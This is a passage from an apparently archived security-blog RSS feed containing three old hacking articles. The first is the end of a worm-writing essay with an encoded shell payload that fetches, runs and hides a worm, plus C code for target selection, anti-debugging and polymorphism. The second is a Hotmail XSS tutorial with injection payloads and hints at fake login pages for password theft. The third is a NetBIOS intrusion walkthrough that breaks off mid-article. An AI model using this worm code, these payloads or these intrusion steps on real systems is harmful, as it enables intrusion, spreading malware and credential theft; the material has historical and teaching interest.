        "\x5c\x22\x5c\x20\x5c\x29\x5c\x20\x73\x68\x5c\x20\x2d\x63\x5c\x20"
        "\x65\x63\x68\x6f\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x66\x6f\x72"
        "\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x69\x5c\x24\x5c\x49\x46\x53"
        "\x5c\x5c\x5c\x69\x6e\x5c\x24\x5c\x49\x46\x53\x5c\x60\x6c\x73\x5c"
        "\x24\x49\x46\x53\x2f\x74\x6d\x70\x2f\x5c\x60\x5c\x24\x5c\x49\x46"
        "\x53\x5c\x5c\x5c\x3b\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x64\x6f"
        "\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x73\x68\x5c\x24\x5c\x49\x46"
        "\x53\x5c\x5c\x5c\x2f\x74\x6d\x70\x2f\x5c\x5c\x5c\x24\x69\x5c\x24"
        "\x5c\x49\x46\x53\x5c\x5c\x5c\x3b\x64\x6f\x6e\x65\x26\x3e\x2f\x74"
        "\x6d\x70\x2f\x2e\x4b\x45\x57\x4c\x3b\x5c\x73\x68\x5c\x24\x49\x46"
        "\x53\x5c\x5c\x5c\x2f\x74\x6d\x70\x2f\x2e\x4b\x45\x57\x4c\x22\x0A");

// 'encoding="\\\"x\\\"\ ==\ \\\"x\\\"\ \)\ sh\ -c\ echo\$\IFS\\\for'
// '\$\IFS\\\i\$\IFS\\\in\$\IFS\`ls\$IFS/tmp/\`\$\IFS\\\;\$\IFS\\\do'
// '\$\IFS\\\sh\$\IFS\\\/tmp/\\\$i\$\IFS\\\;done&#038;>/tmp/.KEWL;\sh\$IF'
// 'S\\\/tmp/.KEWL"'</code></pre>
<p>Message body contained code to be executed (shell-script to connect, download and run worm, then kill any evidence). Yes, this exploit sucks &#8211; as it required some kind of user interaction (reading e-mail), but is just an example.</p>
<p>Both remote and local exploits are sorted by effectiveness. Exploits that succed most of the time are tried first. Less effective ones are moved at the end. This list is inherited by child worms.</p>
<p>Oh, spreading. Victims are choosen by monitoring active network connections. With random probability, servers are picked from this list and attacked. In case of success, server is added to &#8216;visited&#8217; list &#8211; these are not attacked anymore. In case of failure, server is not attacked until new version of worm is uploaded. Of course, internal servers list is finite and sometimes server might be attacked again (if it&#8217;s not our child and it isn&#8217;t currently connected), but who cares, attempt will be ignored or upgrade procedure will happen, depending on timestamps.</p>
<p><!--adsense#Rectangle--></p>
<p>This code is used to qualify host (obtained from network stats):</p>
<pre><code>void infect_host(int addr) {
  struct hostent* h;
  int (*exp)(char*);
  int i=0,n=0,max=VERY_SMALL;
  if ((0x7F &#038; addr)==0x7F) return;      // do not touch 127.* subnet <img src='http://www.darknet.org.uk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />
  h=gethostbyaddr((void*)&#038;addr,4,AF_INET);
  if (is_host_happy(h->h_name)) return; // In wormnet?
  for (i=0;remote[i].present;i++) remote[i].used=0;
  while ((max=VERY_SMALL)) {
    n=-1;
    for (i=0;remote[i].present;i++)
      if (!remote[i].used &#038;&#038; remote[i].hits>=max) { max=remote[i].hits;n=i; }
    if (n<0) break;
    exp=remote[n].handler;
    remote[n].used=1;
    current_module=n;
    remote[n].hits+=(i=exp(h->h_name));
    if (i>0) break;
  }
}</code></pre>
<p><strong>0&#215;05: Integrity</strong></p>
<p>The most important thing in worm&#8217;s life is not to get caught. We have to be sure it&#8217;s not easy to trace/debug us &#8211; we want to make reverse-engineering even harder. We don&#8217;t want to expose our internal wormnet protocols, communication with kernel module and detection techniques used by worms to check for themselves, etc. Four things:</p>
<ul>
<li>- hide everything: see section 0&#215;02.</li>
<li>- hash, crypt, scramble: see sections 0&#215;01, 0&#215;04.</li>
<li>
- don&#8217;t let them caught you: see section 0&#215;02.</li>
<li>- avoid debugging even if we cannot hide!</li>
</ul>
<p>We used several anti-debugger techniques, including application-dependent (bugs in strace on displaying some invalid parameters to syscalls, bugs in gdb while parsing elf headers, ommiting frame pointer, self-modyfing code and so on), as well as some universal debugger-killer routines called quite often (they aren&#8217;t really time-expensive). This is one of them:</p>
<pre><code>void kill_debug(void) {
  int x,n;
  n=getppid();
  if (!(x=fork())) {
    x=getppid();
    if (ptrace(PTRACE_ATTACH,x,0,0)) {
      fprintf(stderr,
          "\n\n\n*****************************************\n"
                "*** I REALLY DO NOT LIKE TO BE TRACED ***\n"
                "*****************************************\n\n\n");
      ptrace(PTRACE_ATTACH,n,0,0);
      kill(x,9);
    }
    usleep(1000);
    ptrace(PTRACE_DETACH,x,0,0);
    exit(0);
  }
  waitpid(x,&#038;n,0);
  return;
}</code></pre>
<p>As I told before, worm modules were signed. First, using simple signatures, then using simple private key signing (not really difficult to crack, as key was relatively short, but for sure too difficult for amateurs). This made us sure we&#8217;re going to replace our worm image with REAL worm, not dummy anti-worm flare.</p>
<p><strong>0&#215;06: Polymorphism</strong></p>
<p>Polymorphic engine was quite simple &#8211; designed to make sure our decryptor will be different every time. As it has been written in shell language, it was pretty easy to add bogus commands, insert empty shell variables, add \ and break contents, or even replace some parts with $SHELL_VARIABLES declared before. Getting original content is not quite easy, but of course, all you have to do is to imitate shell parsing of this decryptor to get original contents, then you&#8217;ll be able to identify at least some common code.</p>
<p>Code adding \ to decryptor looks like:</p>
<pre><code>while (decryptor[x]) {
    switch (decryptor[x]) {
      case ' ':
        if (!rnd(2)) buf[y++]=' '; else goto difolt;
        break;
      case '\n':
        if (!you_can) you_can=1;
      default:
      difolt:
        if ((you_can &#038;&#038; you_can++>1) &#038;&#038; !rnd(10) &#038;&#038; decryptor[x]>5 &#038;&#038;
             decryptor[x]!='>' &#038;&#038; decryptor[x]!='<' &#038;&#038; norm>2) {
          buf[y++]='\\';buf[y++]=10;norm=0;
        } else {buf[y++]=decryptor[x++];norm++;}
    }
  }</code></pre>
<p><strong>0&#215;07: Usability</strong></p>
<p>It&#8217;s stupid to launch worm designed eg. to steal secret information from specific host, because we have no idea if it will work fine, and won&#8217;t be caught. If so, it might be debugged (it&#8217;s made to be hard to debug, but, as every program, it&#8217;s not impossible to do it, especially if you&#8217;re able to separate worm code). Instead, we should be able to release &#8216;harmless&#8217; worm, then, when we&#8217;re sure it accessed interesting host and haven&#8217;t been caught, we might send an update, which will try to reach destination worm, replace it with our evil code, then shut down every worm it can access via wormnet (by sending signed update, that will send itself to other worms, then shut down).</p>
<p>Maybe it isn&#8217;t the perfect solution, but in fact it&#8217;s probably much safer than inserting even generic backdoor code by default.</p>
<p><strong>0&#215;08: What happened then?</strong></p>
<p>That&#8217;s it, the Samhain project, fit into approx. 40 kB of code. What happened to it? Nothing. It hasn&#8217;t been ever released, and I never removed restrictions from lookup_victim() and infect_host() routines. It&#8217;s still lying on my hard drive, getting covered with dust and oblivion, and that&#8217;s extacly what we wanted.</p>
<p>I stopped developing new code and testing it in January, 1999, with Samhain 2.2 and approx. 10000 lines of code. Wojtek Bojdol has been developing his much more advanced wormnet and system infection/monitoring code till February or March, but I haven&#8217;t found enough time to incorporate his sources within mainstream source tree. Then, we removed our repository from networked server we used to exchange ideas. I gradually published some bugs used in exploit database to BUGTRAQ, some of them (especially those not discovered by me) we kept for ourselves.</p>
<p>The story ends. Till another rainy day, till another three bored hackers.</p>
<p>You may be sure it will happen. The only thing you can&#8217;t be sure is the end of next story.</p>
<p><strong>0&#215;09: References</strong></p>
<p>[1] ILOVEYOU worm:<br />
    Dramatical headlines:<br />
    + <a href="http://www.cnn.com/2000/TECH/computing/05/04/iloveyou.03/   ">http://www.cnn.com/2000/TECH/computing/05/04/iloveyou.03/   </a><br />
    Technical analysis:<br />
    + <a href="http://www.securityfocus.com/templates/article.html?id=30">http://www.securityfocus.com/templates/article.html?id=30</a><br />
    Source of &#8220;ILOVEYOU&#8221; worm:<br />
    + <a href="http://packetstorm.securify.com/viral-db/love-letter-source.txt">http://packetstorm.securify.com/viral-db/love-letter-source.txt</a></p>
<p>[2] International Obfuscated C Code Contest archives:<br />
    + <a href="http://www.ioccc.org">http://www.ioccc.org</a></p>
<p>[3] Libworm &#8211; unprivledged process hiding techniques:<br />
    + <a href="http://lcamtuf.na.export.pl/pliki/libworm.tgz">http://lcamtuf.na.export.pl/pliki/libworm.tgz</a></p>
<p>[4] &#8220;yet another article about stealth modules in linux&#8221;<br />
    + <a href="http://www.securityfocus.com/templates/archive.pike?list=1&#038;date=1999-08-22&#038;msg=19990828144031.A20936@richi.bombi.net">http://www.securityfocus.com</a></p>
<p>[5] Advanced File Hide and Redirect Module (in fact, old and lame <img src='http://www.darknet.org.uk/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
    + <a href="http://lcamtuf.na.export.pl/pliki/afharm.zip">http://lcamtuf.na.export.pl/pliki/afharm.zip</a><br />
    Adore<br />
    + ???</p>
<p><em>Again this is an old article but it&#8217;s a good one, written by Michal Zalewski <lcamtuf@tpi.pl> and edited by Darknet</em></p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=Writing+Worms+for+Fun+or+Profit+http://bit.ly/3ZkBU3+from+@THEdarknet" title="Post to Twitter"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-twitter-micro3.png" alt="Post to Twitter" /></a> <a class="tt" href="http://delicious.com/post?url=http://www.darknet.org.uk/2006/12/writing-worms-for-fun-or-profit/&amp;title=Writing+Worms+for+Fun+or+Profit" title="Post to Delicious"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-delicious-micro3.png" alt="Post to Delicious" /></a> <a class="tt" href="http://digg.com/submit?url=http://www.darknet.org.uk/2006/12/writing-worms-for-fun-or-profit/&amp;title=Writing+Worms+for+Fun+or+Profit" title="Post to Digg"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-digg-micro3.png" alt="Post to Digg" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://www.darknet.org.uk/2006/12/writing-worms-for-fun-or-profit/&amp;t=Writing+Worms+for+Fun+or+Profit" title="Post to Facebook"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-facebook-micro3.png" alt="Post to Facebook" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://www.darknet.org.uk/2006/12/writing-worms-for-fun-or-profit/&amp;title=Writing+Worms+for+Fun+or+Profit" title="Post to StumbleUpon"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-su-micro3.png" alt="Post to StumbleUpon" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.darknet.org.uk/2006/12/writing-worms-for-fun-or-profit/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Web Based E-mail (Hotmail Yahoo Gmail) Hack/Hacking with JavaScript</title>
		<link>http://www.darknet.org.uk/2006/09/web-based-e-mail-hotmail-yahoo-gmail-hackhacking-with-javascript/</link>
		<comments>http://www.darknet.org.uk/2006/09/web-based-e-mail-hotmail-yahoo-gmail-hackhacking-with-javascript/#comments</comments>
		<pubDate>Mon, 04 Sep 2006 08:29:18 +0000</pubDate>
		<dc:creator>Darknet</dc:creator>
				<category><![CDATA[General Hacking]]></category>
		<category><![CDATA[Old Skool Philes]]></category>
		<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[email-hacking]]></category>
		<category><![CDATA[gmail-hack]]></category>
		<category><![CDATA[gmail-hacking]]></category>
		<category><![CDATA[hotmail-hack]]></category>
		<category><![CDATA[hotmail-hacking]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[web-security]]></category>
		<category><![CDATA[webmail-hack]]></category>
		<category><![CDATA[webmail-hacking]]></category>
		<category><![CDATA[yahoo-hack]]></category>
		<category><![CDATA[yahoo-hacking]]></category>

		<guid isPermaLink="false">http://www.darknet.org.uk/2006/09/web-based-e-mail-hotmail-yahoo-gmail-hackhacking-with-javascript/</guid>
		<description><![CDATA[&#8220;pleez, pleez, PLEEZ teach me how to hack a Hotmail Account!!!&#8221;
-unidentified IRC user
From here on in you walk alone.  Neither little_v OR Black Sun Research Facility AND its members will be responsible for what you do with the information presented here.  Do not use this information to impress your &#8220;l33t0_b0rit0&#8243; friends. Do not [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>&#8220;pleez, pleez, PLEEZ teach me how to hack a Hotmail Account!!!&#8221;<br />
-unidentified IRC user</p></blockquote>
<p>From here on in you walk alone.  Neither little_v OR Black Sun Research Facility AND its members will be responsible for what you do with the information presented here.  Do not use this information to impress your &#8220;l33t0_b0rit0&#8243; friends. Do not operate in shower.  Objects in article may be closer than they appear.</p>
<p>Note: If you see (x), where x is a number, it means that this term is defined at (x) at the bottom of this article.</p>
<p><strong>Intro</strong></p>
<p>The purpose of this article is NOT, I repeat, NOT to teach someone how to &#8220;hack an email account&#8221;.  It&#8217;s true purpose is actually MUCH more devious.  The purpose of this and all other articles in the &#8220;An Exploit Explained: &#8221; series is to teach readers about various web technologies, and the basics of security and exploiting.  I will try to give you a hands-on, learn as you go type of education in computer security.  Sound good???  Then let&#8217;s get in to it!!</p>
<p><strong>Preface</strong></p>
<p>On Wednesday, Sept. 22 1999, yet another bleary day in the life of little v, the following message was sent to my inbox:</p>
<pre>
To: BugTraq
Subject: Yet another major Hotmail security hole -
injecting JavaScript using "javasCript:"
Date: Wed Sep 22 1999 10:48:04
Author: Georgi Guninski
Message-ID: &lt;37E8D004.EF848F34@nat.bg&gt; 

Yet another major Hotmail security hole - injecting
JavaScript using "javasCript:"

There is a major security flaw in Hotmail which allows
injecting and executing JavaScript code in an email
message using the javascript protocol. This exploit
works both on Internet Explorer 5.0 (guess IE 4.x)
and Netscape Communicator 4.x. Hotmail filters the
"javascript:" protocol for security reasons. But it
does not filter properly the following case:
"javasCript:" where "C" is the ASCII code of "C".

So the following HTML is executed &lt;IMG
SRC="javasCript:alert('JavaScript is executed');"&gt;
if the user has enabled automatically loading of
images (most users have).

Probably this may be used in other HTML tags.

Executing JavaScript when the user opens Hotmail
email message allows for example displaying a fake
login screen where the user enters his password
which is then stolen. I don't want to make a scary
demonstration, but I am sure it is also possible to
read user's messages, to send messages from user's
name and doing other mischief. Hotmail deliberately
escapes all JavaScript (it can escape) to prevent such
attacks, but obviously there are holes. It is much
easier to exploit this vulnerability if the user uses
Internet Explorer 5.0. AFAIK this is not a browser
problem, it is Hotmail's problem.

Workaround: Disable JavaScript

The code is:

&lt;IMG SRC="javasCript:alert('JavaScript is
executed');a=window.open(document.links[2]);setTimeout('alert(\'The
first message in your Inbox is from :
\'+a.document.links[26].text)',20000)"&gt;
....
&lt;snip&gt;
....
Regards,
Georgi Guninski
http://www.securityfocus.com/external/http://www.nat.bg/~joro
</pre>
<p><!--adsense#Rectangle--></p>
<p>Ok, don&#8217;t puke, I&#8217;m going to explain what just happened in a fashion that even your dog can understand.</p>
<p><strong>What is this all about?</strong></p>
<p>This important part of this posting to the Bugtraq(1) (http://www.securityfocus.com) mailing list is the actual exploit(2).<br />
The exploit would be:</p>
<p>&lt;IMG SRC=&#8221;javasCript:alert(&#8217;JavaScript is<br />
executed&#8217;);a=window.open(document.links[2]);setTimeout(&#8217;alert(\&#8217;The<br />
first message in your Inbox is from :<br />
\&#8217;+a.document.links[26].text)&#8217;,20000)&#8221;&gt;</p>
<p><strong>What does it do?</strong></p>
<p>As this exploit, when put into an email message sent to a hotmail user, opens a little box using the &#8220;alert()&#8221;(3) function in javascript(4), and is also supposed to read who the first message in your inbox is from.  However, this code does not work on its own. You see, the email also says that you need to use the ASCII(5) code for &#8220;C&#8221; in the message. If I get out my handy HTML reference book, I can see that the ASCII code is &#67;.  If we substitute this into our little exploit, minus the &#8220;read who the first message in your inbox&#8221; part, we get this: </p>
<p>&lt;IMG SRC=&#8221;javas&#67;ript:alert(&#8217;JavaScript is executed&#8217;)&#8221;&gt;</p>
<p><strong>How does it work?</strong></p>
<p>Finding out how an exploit works is always the part that makes people a bit spindizzy.  If we look at that gibberish we call code one more time we can see that it uses an &lt;IMG&gt; tag, which all you who took my HTML tutorial would know is to display an image onto the page.  Because hotmail tries to be the &#8220;top dog&#8221; webmail provider, they allow you to set autoloading of images, so the image just shows up on the same page as the mail.  When you open a new hotmail account, this option is already set (hurray!).  The conflict happens because your normal browser allows you to put javascript tags into your IMG tags.  Because JavaScript is a strong little language, and allows just about full control over someone&#8217;s browser, if the conditions are right.  Naturally, people like you and me started exploiting hotmail&#8217;s allowing of javascript.  Soon, the &lt;SCRIPT&gt; tag (the normal way to add javascript to a page) was banned from use in hotmail messages by way of filtering(6) (boo! hiss!).  So normal guys like you and me had to &#8220;inject&#8221;, or put into other html tags, our javascript exploits. The IMG tag is perfect for this, when combined with it&#8217;s autoloading capabilities.  This discovery led to the filtering, yet again, of javascript injected into IMG tags.  Of course, hackers ALWAYS find a way, and today we combine IMG-injecting with ASCII tags to give you the current exploit.</p>
<p><!--adsense#Rectangle--></p>
<p><strong>What else can I do with this hole in Hotmail&#8217;s Security?</strong></p>
<p>As is the case with many exploits, the sky is the limit.  If you know javascript, you can pretty much have a field day with this exploit.  If you don&#8217;t, here&#8217;s a few more snippets of code to get you started:</p>
<p>This code opens a window with Darknet&#8217;s main page in it when the hotmail user opens your mail:</p>
<p>&lt;IMG SRC=&#8221;javas&#67;ript:window.open(&#8217;http:://www.darknet.org.uk&#8217;)&#8221;&gt;</p>
<p>Note that the above code could point to any page at all (even one that simulates hotmail&#8217;s &#8220;you have been logged out&#8221; screen. *wink* *wink* HINT HINT <img src='http://www.darknet.org.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ) </p>
<p>This code opens 100 windows with Darknet&#8217;s main page in it (tee hee! self promotion is good!):</p>
<p>&lt;IMG SRC=&#8221;javas&#67;ript:for(var i = 0; i &lt; 100; i++) window.open(&#8217;http:://www.darknet.org.uk&#8217;);&#8221;&gt;</p>
<p>The rest is up to you, my friend.  By the way, if Hotmail finds a way to make this exploit null and void, please don&#8217;t mail me, as I probably already know.  Just keep looking for the next big exploit, and then when you&#8217;ve found it, you may tell me.</p>
<p><strong>Terms Defined </strong></p>
<p>(1) Bugtraq &#8211; A mailing list where people publicize holes and exploits in various softwares.  I highly suggest that you subscribe at http://www.securityfocus.com.<br />
(2) Exploit &#8211; Webster&#8217;s dictionary sez: &#8221; exploit (eks&#8217;ploit&#8217;) &#8211; an act remarkable for brilliance or daring; bold deed&#8221;.  Wow. Think of that the next time you steal someone&#8217;s ICQ password.<br />
(3) alert() function &#8211; A function built into the Javascript language that brings up a rectangle box with the message passed to the alert() function in it. Note: alert(&#8217;message goes here&#8217;)<br />
(4) Javascript &#8211; A scripting language built into most popular browsers that gives much greater control over web page content than HTML alone (chicks dig pages with javascript 2 to 1 over standard HTML!).<br />
(5) ASCII &#8211; A standard for characters on and beyond the normal keyboard.<br />
(6) Filtering &#8211; A way to &#8216;catch and detain&#8217; certain text or commands.  Hotmail, for example, filters for the &#8220;javascript&#8221; text.</p>
<p><strong>Some URLs</strong></p>
<p>(1) http://www.htmlgoodies.com &#8211; they have some javascript tutorials if you wanna learn javascript.<br />
(2) http://come.to/the-lamer &#8211; they have some fake hotmail pages that will make you think you were logged out for some reason and ask you to input your password. They also have some tutorials on how to use these pages, etc&#8217; etc&#8217; etc&#8217;.</p>
<p>From Blacksun &#8211; Updated by Darknet</p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=Web+Based+E-mail+%28Hotmail+Yahoo+Gmail%29+Hack%2FHacking+with+JavaScript+http://bit.ly/ZwnVn+from+@THEdarknet" title="Post to Twitter"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-twitter-micro3.png" alt="Post to Twitter" /></a> <a class="tt" href="http://delicious.com/post?url=http://www.darknet.org.uk/2006/09/web-based-e-mail-hotmail-yahoo-gmail-hackhacking-with-javascript/&amp;title=Web+Based+E-mail+%28Hotmail+Yahoo+Gmail%29+Hack%2FHacking+with+JavaScript" title="Post to Delicious"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-delicious-micro3.png" alt="Post to Delicious" /></a> <a class="tt" href="http://digg.com/submit?url=http://www.darknet.org.uk/2006/09/web-based-e-mail-hotmail-yahoo-gmail-hackhacking-with-javascript/&amp;title=Web+Based+E-mail+%28Hotmail+Yahoo+Gmail%29+Hack%2FHacking+with+JavaScript" title="Post to Digg"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-digg-micro3.png" alt="Post to Digg" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://www.darknet.org.uk/2006/09/web-based-e-mail-hotmail-yahoo-gmail-hackhacking-with-javascript/&amp;t=Web+Based+E-mail+%28Hotmail+Yahoo+Gmail%29+Hack%2FHacking+with+JavaScript" title="Post to Facebook"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-facebook-micro3.png" alt="Post to Facebook" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://www.darknet.org.uk/2006/09/web-based-e-mail-hotmail-yahoo-gmail-hackhacking-with-javascript/&amp;title=Web+Based+E-mail+%28Hotmail+Yahoo+Gmail%29+Hack%2FHacking+with+JavaScript" title="Post to StumbleUpon"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-su-micro3.png" alt="Post to StumbleUpon" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.darknet.org.uk/2006/09/web-based-e-mail-hotmail-yahoo-gmail-hackhacking-with-javascript/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>Remote Network Penetration via NetBios Hack/Hacking</title>
		<link>http://www.darknet.org.uk/2006/09/remote-network-penetration-via-netbios-hackhacking/</link>
		<comments>http://www.darknet.org.uk/2006/09/remote-network-penetration-via-netbios-hackhacking/#comments</comments>
		<pubDate>Fri, 01 Sep 2006 05:12:39 +0000</pubDate>
		<dc:creator>Darknet</dc:creator>
				<category><![CDATA[Network Hacking]]></category>
		<category><![CDATA[Old Skool Philes]]></category>
		<category><![CDATA[Windows Hacking]]></category>
		<category><![CDATA[darknet]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[NBT]]></category>
		<category><![CDATA[NetBIOS]]></category>
		<category><![CDATA[NetBIOS-hacking]]></category>
		<category><![CDATA[network-penetration]]></category>
		<category><![CDATA[remote-hacking]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.darknet.org.uk/2006/09/remote-network-penetration-via-netbios-hackhacking/</guid>
		<description><![CDATA[These are basic techniques but very useful when penetration testing any Windows based network, the techniques were discovered on WinNT but are still very valid on Windows2000 and in some cases Windows2003 due to backwards compatibility.
This article is being written in a procedural manner. I have approached it much like an intruder would actually approach [...]]]></description>
			<content:encoded><![CDATA[<p>These are basic techniques but very useful when penetration testing any Windows based network, the techniques were discovered on WinNT but are still very valid on Windows2000 and in some cases Windows2003 due to backwards compatibility.</p>
<p>This article is being written in a procedural manner. I have approached it much like an intruder would actually approach a network penetration. Most of the techniques discussed in this text are rather easy to accomplish once one understands how and why something is being done.</p>
<p>When targetting a given network, the first thing an intruder would do, would be to portscan the remote machine or network. A lot of information can be gathered by a simple port scan but what the intruder is looking for is an open port 139 &#8211; the Default NetBios port. It&#8217;s surprising how methodical an attack can become based on the open ports of a target machine. You should understand that it is the norm for an NT machine to display different open ports than a Unix machine. </p>
<p>Intruders learn to view a portscan and tell wether it is an NT or Unix machine with fairly accurate results. Obviously there are some exceptions to this, but generally it can be done. </p>
<p>Recently, several tools have been released to fingerprint a machine remotely, but this functionality has not been made available for NT.</p>
<p>Information gathering with NetBIOS can be a fairly easy thing to accomplish, albeit a bit time consuming. NetBIOS is generally considered a bulky protocol with high overhead and tends to be slow, which is where the consumption of time comes in.</p>
<p>If the portscan reports that port 139 is open on the target machine, a natural process follows. The first step is to issue an NBTSTAT command.</p>
<p>The NBTSTAT command can be used to query network machines concerning NetBIOS information. It can also be useful for purging the NetBIOS cache and preloading the LMHOSTS file. This one command can be extremely useful when performing security audits.  </p>
<p>Interpretation the information can reveal more than one might think.</p>
<p><code>Usage:   nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]</code></p>
<pre>
Switches
   -a    Lists the remote computer's name table given its host name.
   -A    Lists the remote computer's name table given its IP address.
   -c    Lists the remote name cache including the IP addresses.
   -n    Lists local NetBIOS names.
   -r    Lists names resolved by broadcast and via WINS.
   -R    Purges and reloads the remote cache name table.
   -S    Lists sessions table with the destination IP addresses.
   -s    Lists sessions table conversions.
</pre>
<p>The column headings generated by NBTSTAT have the following meanings:</p>
<pre>
Input
     Number of bytes received.
Output
     Number of bytes sent.
In/Out
     Whether the connection is from the computer (outbound)
     or from another system to the local computer (inbound).
Life
     The remaining time that a name table cache entry will "live"
     before your computer purges it.
Local Name
     The local NetBIOS name given to the connection.
Remote Host
     The name or IP address of the remote host.
Type
     A name can have one of two types: unique or group.
     The last byte of the 16 character NetBIOS name often
     means something because the same name can be present
     multiple times on the same computer. This shows the last
     byte of the name converted into hex.
State
     Your NetBIOS connections will be shown in one of the
     following "states": 

<strong>State                   Meaning</strong>

Accepting         An incoming connection is in process.

Associated        The endpoint for a connection has been created
                      and your computer has associated it with an IP
                      address.

Connected         This is a good state! It means you're connected
                       to the remote resource.

Connecting        Your session is trying to resolve the name-to-IP
                       address mapping of the destination resource.

Disconnected      Your computer requested a disconnect, and it is
                        waiting for the remote computer to do so.

Disconnecting     Your connection is ending.

Idle              The remote computer has been opened in the current
                   session, but is currently not accepting connections.

Inbound        	  An inbound session is trying to connect.

Listening      	  The remote computer is available.

Outbound       	  Your session is creating the TCP connection.

Reconnecting      If your connection failed on the first attempt,
                        it will display this state as it tries to reconnect.
</pre>
<p><!--adsense#Rectangle--></p>
<p>Here is a sample NBTSTAT response of my NT Box:</p>
<pre>
C:\>nbtstat -A 195.171.236.139

       NetBIOS Remote Machine Name Table

   Name               Type         Status
---------------------------------------------
MR_B10NDE      <00>  UNIQUE      Registered
WINSEKURE LABS <00>  GROUP       Registered
MR_B10NDE      <03>  UNIQUE      Registered
MR_B10NDE      <20>  UNIQUE      Registered
WINSEKURE LABS <1E>  GROUP       Registered

MAC Address = 44-45-53-54-00-00

Using the table below, what can you learn about the machine?

Name			Number		Type		Usage
=========================================================================
<computername>	00		U		Workstation Service
<computername>	01		U		Messenger Service
<\\_MSBROWSE_>	01		G		Master Browser
<computername>	03		U		Messenger Service
<computername>	06		U		RAS Server Service
<computername>	1F		U		NetDDE Service
<computername>	20		U		File Server Service
<computername>	21		U		RAS Client Service
<computername>	22		U		Exchange Interchange
<computername>	23		U		Exchange Store
<computername>	24		U		Exchange Directory
<computername>	30		U		Modem Sharing Server Service
<computername>	31		U		Modem Sharing Client Service
<computername>	43		U		SMS Client Remote Control
<computername>	44		U		SMS Admin Remote Control Tool
<computername>	45		U		SMS Client Remote Chat
<computername>	46		U		SMS Client Remote Transfer
<computername>	4C		U		DEC Pathworks TCPIP Service
<computername>	52		U		DEC Pathworks TCPIP Service
<computername>	87		U		Exchange MTA
<computername>	6A		U		Exchange IMC
<computername>	BE		U		Network Monitor Agent
<computername>	BF		U		Network Monitor Apps
<username>	03		U		Messenger Service
<domain>	00		G		Domain Name
<domain>	1B		U		Domain Master Browser
<domain>	1C		G		Domain Controllers
<domain>	1D		U 		Master Browser
<domain>	1E		G		Browser Service Elections
<INet~Services>	1C		G		Internet Information Server
<IS~Computer_name> 00		U		Internet Information Server
<computername>	[2B]		U		Lotus Notes Server
IRISMULTICAST	[2F]		G		Lotus Notes
IRISNAMESERVER	[33]		G		Lotus Notes
Forte_$ND800ZA	[20]		U		DCA Irmalan Gateway Service
</pre>
<p>Unique (U): The name may have only one IP address assigned to it. On a network device, multiple occurences of a single name may appear to be registered, but the suffix will be unique, making the entire name unique.</p>
<p>Group (G): A normal group; the single name may exist with many IP addresses. </p>
<p>Multihomed (M): The name is unique, but due to multiple network interfaces on the same computer, this configuration is necessary to permit the registration. Maximum number of addresses is 25.</p>
<p>Internet Group (I): This is a special configuration of the group name used to manage WinNT domain names.</p>
<p>Domain Name (D): New in NT 4.0.</p>
<p>An intruder could use the table above and the output from an nbtstat against your machines to begin gathering information about them. With this information an intruder can tell, to an extent, what services are running on the target machine and sometimes what software packages have been installed. Traditionally, every service or major software package comes with it&#8217;s share of vulnerabilities, so this type of information is certainly useful to an intruder. </p>
<p>The next step for an intruder would be to try and list the open shares on the given computer, using the net view command, Here is an example of the net view command used against my box with the open shares C:\ and C:\MP3S\</p>
<pre>
C:\>net view \\195.171.236.139
Shared resources at \\195.171.236.139

Sharename    Type         Comment
-----------------------------------------------------------------
C            Disk         Drive C:\
MP3S         Disk         My collection of MP3s
The command was completed successfully.
</pre>
<p>This information would give the intruder a list of shares which he would then use in conjunction with the net use command, a command used to enable a computer to map a share to it&#8217;s local drive, below is an example of how an intruder would map the C Share to a local G: drive which he could then browse:</p>
<pre>
C:\>net use G: \\195.171.236.139\C
The command was completed successfully.

C:\>G:

G:\>
</pre>
<p>However, If the intruder was targetting a large network rather than a single remote computer, the next logical step would be to glean possible usernames from the remote machine.</p>
<p>A network login consists of two parts, a username and a password. Once an intruder has what he knows to be a valid list of usernames, he has half of several valid logins. </p>
<p>Now, using the nbtstat command, the intruder can get the login name of anyone logged on locally at that machine. In the results from the nbtstat command, entries with the <03> identifier are usernames or computernames. Gleaning usernames can also be accomplished through a null IPC session and the SID tools</p>
